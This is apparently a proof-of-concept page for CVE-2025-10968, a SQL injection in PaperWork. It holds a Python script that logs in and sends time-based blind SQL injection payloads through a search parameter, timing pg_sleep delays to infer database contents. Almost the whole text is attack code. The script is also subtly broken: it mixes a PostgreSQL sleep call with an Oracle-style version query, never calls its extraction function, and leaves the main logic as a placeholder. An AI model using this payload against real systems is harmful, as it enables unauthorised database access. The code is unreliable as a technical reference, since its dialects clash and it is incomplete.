CVE-2025-10968 PaperWork Hibernate SQL注入漏洞

import requests import time # CVE-2025-10968 PaperWork Blind SQL Injection PoC # Target: PaperWork < 6.1.0.9398 # Type: Time-based Blind SQL Injection TARGET_URL = "http://target.com/paperwork/api/endpoint" USERNAME = "[email protected]" PASSWORD = "password123" def login(): """Login to obtain session token""" session = requests.Session() login_data = { "email": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}/auth/login", json=login_data) return session if response.status_code == 200 else None def extract_data(session, sql_payload): """Extract data using time-based blind SQL injection""" # Sleep for 5 seconds if condition is true payload = f"'; SELECT CASE WHEN ({sql_payload}) THEN pg_sleep(5) ELSE pg_sleep(0) END--" data = {"search": payload} start_time = time.time() response = session.get(f"{TARGET_URL}/search", params=data) elapsed = time.time() - start_time return elapsed > 4 def extract_version(session): """Extract database version""" sql = "SELECT version FROM v$version WHERE rownum=1" return extract_data(session, sql) def main(): session = login() if not session: print("[-] Login failed") return print("[+] Login successful") print("[*] Extracting database information...") # Add extraction logic here print("[+] Done") if __name__ == "__main__": main()